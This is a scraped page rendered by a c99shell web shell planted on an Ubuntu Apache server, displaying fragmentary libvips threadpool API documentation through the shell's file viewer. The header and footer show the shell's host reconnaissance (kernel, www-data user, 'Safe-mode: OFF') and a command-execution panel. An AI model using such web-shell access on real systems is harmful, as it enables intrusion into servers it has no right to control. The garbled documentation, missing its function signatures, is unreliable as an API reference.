Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/libvips/ drwxr-xr-x | |
| Viewing file: Select action/file-type:
Functions
Descriptionvips_threadpool_run() loops a set of threads over an image. Threads take it in turns to allocate units of work (a unit might be a tile in an image), then run in parallel to process those units. An optional progress function can be used to give feedback. FunctionsVipsThreadpoolAllocateFn ()int (*VipsThreadpoolAllocateFn) ( This function is called to allocate a new work unit for the thread. It is always single-threaded, so it can modify per-pool state (such as a counter).
It should set See also: VipsThreadpoolWorkFn ()int (*VipsThreadpoolWorkFn) ( This function is called to process a work unit. Many copies of this can run at once, so it should not write to the per-pool state. It can write to per-thread state.
See also: VipsThreadpoolProgressFn ()int
(*VipsThreadpoolProgressFn) (
This function is called by the main thread once for every work unit processed. It can be used to give the user progress feedback. See also: vips_threadpool_run ()int vips_threadpool_run ( This function runs a set of threads over an image. Each thread first calls
The object returned by
See also: vips_get_tile_size ()void vips_get_tile_size ( Pick a tile size and a buffer height for this image and the current
value of The buffer height is the height of each buffer we fill in sink disc. Since we have two buffers, the largest range of input locality is twice the output buffer size, plus whatever margin we add for things like convolution. [method] |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]-- |